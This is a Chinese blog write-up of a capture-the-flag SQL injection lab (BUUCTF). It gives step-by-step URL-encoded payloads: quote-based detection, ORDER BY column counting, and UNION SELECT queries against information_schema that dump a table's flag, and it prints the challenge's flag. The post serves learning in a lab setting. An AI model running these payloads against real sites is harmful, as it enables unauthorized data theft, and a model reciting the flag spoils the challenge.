BUUCTF-wp-[第一章 web入门]SQL注入-1

最新推荐文章于 2024-02-25 17:59:51 发布

Acco_30_L

最新推荐文章于 2024-02-25 17:59:51 发布

阅读量1.2k

点赞数 3

文章标签： web安全 sql 安全前端

本文链接：https://blog.csdn.net/weixin_53738407/article/details/121597282

版权

又是一个小小的分享，display（）
进入页面后使用最经典的单引号判断法返回与id=1时不同的错误信息，便可以得知此题存在sql注入
在这里插入图片描述

然后通过如下操作可判断其是个字符型注入
此处的判断对于此题有点冗余，两种注入的差别并不大

id=1%27%20and%201=1%20%23

id=1%27%20and%201=2%20%23

第一个返回正确信息，第二个出现错误信息note

开始进行注入

id=1%27%20order%20by%204%20--+%20qwer

在这里插入图片描述

id=1%27%20order%20by%203%20--+%20qwer

在这里插入图片描述

3时返回正确信息，即可得出字段名为3

id=0%27%20union%20select%201,2,3%20--+

在这里插入图片描述

这里注意单引号前闭合的是一个不返回正确信息的数字
因为在后台sql中为

select * from *** where id = 1

被闭合，显然是永真的，会一直返回正确信息，无法执行后续sql语句

id=0%27%20union%20select%201,database(),3%20--+qwer

在这里插入图片描述

id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27note%27%20--+%20qwer

在这里插入图片描述

id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%20--+%20qwer

在这里插入图片描述

id=0%27%20union%20select%201,group_concat(fllllag%20),3%20from%20fl4g%20--+%20qwer

在这里插入图片描述

即可得出flag
n1book{union_select_is_so_cool}
最后再插入一个MySql数据库元信息，让大家明白这个联合查询中不断向下的原理
在这里插入图片描述

关注